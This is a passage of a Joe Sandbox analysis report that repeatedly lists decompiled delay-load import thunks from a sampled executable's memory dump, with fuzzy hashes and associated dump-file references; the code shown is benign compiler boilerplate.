Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 5a17fa2b6430c2bb87a3729f2208bfc5c1fe94998cb75751b307067b0c7a2ab8
Instruction ID: 95f073b344f09b60aad0d1c2fabf917733cf3f1d75d8c6f81845229d8e0e6dd1
Opcode Fuzzy Hash: 5a17fa2b6430c2bb87a3729f2208bfc5c1fe94998cb75751b307067b0c7a2ab8
Instruction Fuzzy Hash: 7BB012D139800ABC354C62886C0BD36126CF4C0B193B4C17FF408C4244D854DD0CA033

Uniqueness

Uniqueness Score: -1.00%

Function 00873252 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873252() {

				E008737B8(0x890d14, 0x8c90fc); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: f7f702dcc6cb15fa3419cf9942a99f0f41c30dfd4db6c4a53d62d44ad7384ad5
Instruction ID: c7dcf9b579a4dc9caabe48c5213e5ab88307747807728b80088a654bd97911ba
Opcode Fuzzy Hash: f7f702dcc6cb15fa3419cf9942a99f0f41c30dfd4db6c4a53d62d44ad7384ad5
Instruction Fuzzy Hash: E5B012C1398009FC394C62885C57D36026CF4C0B593B0C13EF808C4244D850DE0C2033

Uniqueness

Uniqueness Score: -1.00%

Function 0087325C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087325C() {

				E008737B8(0x890d14, 0x8c90f8); // executed
				goto __eax;
			}

0x008731bd
0x008731c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: e77a1dc4def2a8908f9cd091eb70f468347cf67b6e63580ad2621c88d6a689a0
Instruction ID: a4f83073ab18e21ae63ce2f6d93f0a77aa56783d9540d820347d915c92f1e11c
Opcode Fuzzy Hash: e77a1dc4def2a8908f9cd091eb70f468347cf67b6e63580ad2621c88d6a689a0
Instruction Fuzzy Hash: 3FB012C1398109BC364C62885C56D76026CF4C0B193B0C27EF819C4244D850DE4C2033

Uniqueness

Uniqueness Score: -1.00%

Function 008733F3 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008733F3() {

				E008737B8(0x890d34, 0x8c9028); // executed
				goto __eax;
			}

0x008733d6
0x008733dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 79e8b7f72acba69b440e822bc748e15c0bb31527467d2f7cc153a595a00abd49
Instruction ID: c9ff6035fc557cd6bfe1e20938e949d9fa72fe97e2e259dece7b29cf2fbae6f0
Opcode Fuzzy Hash: 79e8b7f72acba69b440e822bc748e15c0bb31527467d2f7cc153a595a00abd49
Instruction Fuzzy Hash: 7EB012C52995057C360861896C06D3701ACF4C0B19370C7AEF848C0384D854ED4C3033

Uniqueness

Uniqueness Score: -1.00%

Function 008733FD Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008733FD() {

				E008737B8(0x890d34, 0x8c9020); // executed
				goto __eax;
			}

0x008733d6
0x008733dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 1ea68c9d6710c8efcf79ebdbe6252e70d797f6d033a2493f36f99c8436f43a17
Instruction ID: a5fe36c6c40b2411fdf92592a3a0cfba1ae76a177115e4047757f5479e59b385
Opcode Fuzzy Hash: 1ea68c9d6710c8efcf79ebdbe6252e70d797f6d033a2493f36f99c8436f43a17
Instruction Fuzzy Hash: F3B012C2299509BC350861896C06E3701BCF4C0B19370C66EF448C0384D854ED087033

Uniqueness

Uniqueness Score: -1.00%

Function 0087348D Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087348D() {

				E008737B8(0x890d74, 0x8c9058); // executed
				goto __eax;
			}

0x00873484
0x0087348b

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 81aaddb408a6ef5e72986e6d56499a520ff0ad7540f0d3a6c4a5922d62c70842
Instruction ID: 409259a18fb0abf405e72278cb610af5b29fb01dfcc8f2a2840b5e6ebfa07e3c
Opcode Fuzzy Hash: 81aaddb408a6ef5e72986e6d56499a520ff0ad7540f0d3a6c4a5922d62c70842
Instruction Fuzzy Hash: D0B012C12D85457C320D61885C06D3A016CF4C4B24374C36EFDC8C0245D450DD4C2037

Uniqueness

Uniqueness Score: -1.00%

Function 00873497 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873497() {

				E008737B8(0x890d74, 0x8c9054); // executed
				goto __eax;
			}

0x00873484
0x0087348b

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 7fc5779be3d557a2c3204256deed76172f7bb69e53b652f64dae7123ae38b121
Instruction ID: 4272ba9a8feed07d001c88a25e7309c12eeedec9376f80c559c0529d2e70fd06
Opcode Fuzzy Hash: 7fc5779be3d557a2c3204256deed76172f7bb69e53b652f64dae7123ae38b121
Instruction Fuzzy Hash: A1B012C12D84057C320D61885D06D3A016CF4C4B24374C22EF6C8C0245D450DD0D3037

Uniqueness

Uniqueness Score: -1.00%

Function 008734AB Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008734AB() {

				E008737B8(0x890d74, 0x8c904c); // executed
				goto __eax;
			}

0x00873484
0x0087348b

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 4ac5870fc72ca12db8fdf14301882e1da4c8285fc80df396ae26dc0ae336ae5d
Instruction ID: 1d3e27b79e5c78a205b6b04fef0b5159465b04160b18acd636ba6c3b2c4a16a8
Opcode Fuzzy Hash: 4ac5870fc72ca12db8fdf14301882e1da4c8285fc80df396ae26dc0ae336ae5d
Instruction Fuzzy Hash: 44B012D22D8405BC350D61885C06D3A016CF4C4B24374C22EF8C8C0245D454DE082033

Uniqueness

Uniqueness Score: -1.00%

Function 00873425 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873425() {

				E008737B8(0x890d34, 0x8c9030); // executed
				goto __eax;
			}

0x008733d6
0x008733dd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008733D6

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: edb5f02784c6b31ddd08571296356bd763b99f1ea81c2e4b73c61c33e391e3d4
Instruction ID: 8dc07579d003bdcb31d9a0d6a60418ebb3448afb4b9056a11183dc9354733592
Opcode Fuzzy Hash: edb5f02784c6b31ddd08571296356bd763b99f1ea81c2e4b73c61c33e391e3d4
Instruction Fuzzy Hash: ADB012C12AB405BC3508618A6C06E37017CF8C0B59370C66EF44CC0384D854ED087033

Uniqueness

Uniqueness Score: -1.00%

Function 00873472 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00873472() {

				E008737B8(0x890d74, 0x8c9064); // executed
				goto __eax;
			}

0x00873484
0x0087348b

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00873484

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 50240ae91496fc2e5f54e31ba24ce72418e24f69f3dc26334eee7b9f32db71ee
Instruction ID: f6f2f79a17c3d84f33731a97859e807d5acc9d19078565dc3af79f4da3c2d149
Opcode Fuzzy Hash: 50240ae91496fc2e5f54e31ba24ce72418e24f69f3dc26334eee7b9f32db71ee
Instruction Fuzzy Hash: 50B012C12D86057C320D71946D46C3B012CF4C0B24374C22EFAC4C01469550DD092033

Uniqueness

Uniqueness Score: -1.00%

Function 008731F3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 60cb3a1935e19ab0db6aaa64712ec23910fd741a913ec68f5b3fb8bfc1eedf18
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 60cb3a1935e19ab0db6aaa64712ec23910fd741a913ec68f5b3fb8bfc1eedf18
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 00873289 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: db11d73c11b7e97e3e2e810d63715e1d169272852205bddb0927bf7940f8a43b
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: db11d73c11b7e97e3e2e810d63715e1d169272852205bddb0927bf7940f8a43b
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 00873293 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 065868262d032fa7eb0eaaf6593cb99866d5f26d1873cafacdd806f4110419de
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: 065868262d032fa7eb0eaaf6593cb99866d5f26d1873cafacdd806f4110419de
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

Uniqueness

Uniqueness Score: -1.00%

Function 0087329D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 008731BD

Part of subcall function 008737B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 008737C3
Part of subcall function 008737B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0087382B
Part of subcall function 008737B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0087383C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: a8e5af9b1dac950c574711f72f0e2b35b701021c85049cdca3b6be45c6ce48a8
Instruction ID: 35a216261fe9f8f75a256b453821dc6775321f232e17888b76386abafc85f336
Opcode Fuzzy Hash: a8e5af9b1dac950c574711f72f0e2b35b701021c85049cdca3b6be45c6ce48a8
Instruction Fuzzy Hash: AEA012C129800A7C340C22405C02C36021CE4C0B593B0C52DB405C414458405D082033

